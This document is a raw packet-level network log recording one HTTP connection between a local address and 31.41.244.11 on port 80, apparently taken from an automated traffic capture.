Dec 16, 2024 21:02:37.904267073 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.904311895 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.905179024 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.905227900 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.905288935 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.905329943 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.906191111 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.906300068 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.906407118 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.907324076 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.907372952 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.907394886 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.907409906 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.908232927 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.908337116 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.908387899 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.909204006 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.909252882 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.909323931 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.909384966 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.910226107 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.910270929 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.910290003 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.910341024 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.911206007 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.911261082 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.911339998 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.911417961 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:37.912184954 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:37.912237883 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.051764011 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.051829100 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.051841021 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.051878929 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.052190065 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.052243948 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.052284956 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.052335978 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.053220034 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.053303957 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.053359032 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.054208040 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.054438114 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.054445028 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.054512978 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.055305958 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.055444956 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.055497885 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.056242943 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.056371927 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.056425095 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.057259083 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.057336092 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.058244944 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.058298111 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.058327913 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.058439970 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.059241056 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.059326887 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.059432983 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.060000896 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.060252905 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.060384989 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.060425997 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.061275959 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.061330080 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.061436892 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.061948061 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.062289953 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.062429905 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.062442064 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.062511921 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.063323021 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.063354015 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.063385010 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.063400030 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.064280033 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.064338923 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.064421892 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.064472914 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.065283060 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.065344095 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.065422058 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.066004992 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.066297054 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.066389084 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.066426992 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.066442013 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.067342997 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.067471981 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.067519903 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.068506002 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.068620920 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.068660021 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.068675041 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.069320917 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.069392920 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.069442034 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.069509029 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.070337057 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.070386887 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.070436001 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.070570946 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.071376085 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.071439028 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.071484089 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.071527958 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.072343111 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.072395086 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.072432041 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.074994087 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.075050116 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.075072050 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.075088978 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.075131893 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.075160980 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.075223923 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.075377941 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.075489998 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.075522900 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.075545073 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.076421976 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.076529980 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.076579094 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.077399969 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.077503920 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.077855110 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.078419924 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.078475952 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.078552961 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.078632116 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.079541922 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.079591990 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.079642057 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.080442905 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.080502987 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.080533028 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.080580950 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.081433058 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.081548929 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.081594944 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.087161064 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.087203026 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.087227106 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.087227106 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.087249041 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.087260962 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.087356091 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.087416887 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.087433100 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.087450027 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.087471008 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.087471008 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.087488890 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.087655067 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.087732077 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.087748051 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.087752104 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.087791920 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.088103056 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.088198900 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.088303089 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.089804888 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.089875937 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.089891911 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.089922905 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.089941025 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.090023994 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.090481043 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.092133045 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.092190027 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.092214108 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.092231035 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.092286110 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.092315912 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.092364073 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.092555046 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.092664003 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.092664957 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.092742920 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.093527079 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.093630075 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.093673944 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.093727112 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.094573975 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.094649076 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.094708920 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.095602989 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.095649958 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.095894098 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.096038103 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.096662045 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.096719027 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.096745968 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.096802950 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.097565889 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.097745895 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.097795963 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.098613024 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.098670006 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.098676920 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.098766088 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.099585056 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.099642992 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.099688053 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.099745989 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.100605965 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.100655079 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.100759983 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.100809097 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.101599932 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.101651907 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.101677895 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.101763010 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.102596998 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.102663994 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.102701902 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.102740049 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.103643894 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.103687048 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.103899956 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.104137897 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.104568005 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.105006933 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.244393110 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.244494915 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.244570017 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.244888067 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.244940042 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.245064974 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.246006012 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.246074915 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.246093035 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.246139050 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.247068882 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.247087955 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.247138023 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.248068094 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.248085976 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.248133898 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.248328924 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.248367071 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.248414993 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.248544931 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.249341965 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.249525070 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.250099897 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.250315905 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.250477076 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.250485897 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.250519037 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.251365900 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.251482010 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.251517057 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.251620054 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.252351046 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.252779961 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.255337954 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.255920887 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.255939007 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.255954981 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.255970955 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.255974054 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.255990028 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.255995989 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.256022930 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.256047010 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.256081104 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.256211042 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.257178068 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.257354021 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.257360935 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.257410049 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.258095026 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.258276939 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.258330107 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.259197950 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.259224892 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.259238958 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.259284019 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.260101080 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.260159969 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.260261059 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.260304928 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.261153936 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.261173964 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.261205912 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.261221886 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.262182951 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.262239933 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.262326002 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.262372017 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.263068914 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.263120890 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.263413906 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.263477087 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.264133930 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.264152050 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.264216900 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.264996052 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.265042067 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.265167952 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.266168118 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.266213894 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.266340971 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.267206907 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.267224073 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.267268896 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.267285109 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.268260956 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.268349886 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.268446922 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.269154072 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.269171000 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.269201040 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.269218922 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.270198107 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.270214081 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.271236897 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.271253109 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.271286964 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.271320105 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.272154093 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.272329092 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.273190022 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.273256063 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.273360968 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.274233103 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.274250031 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.274281025 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.274293900 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.275103092 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.275146961 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.275270939 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.276313066 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.276329041 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.276359081 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.276382923 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:38.277204037 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:38.277256012 CET	49812	80	192.168.2.4	31.41.244.11
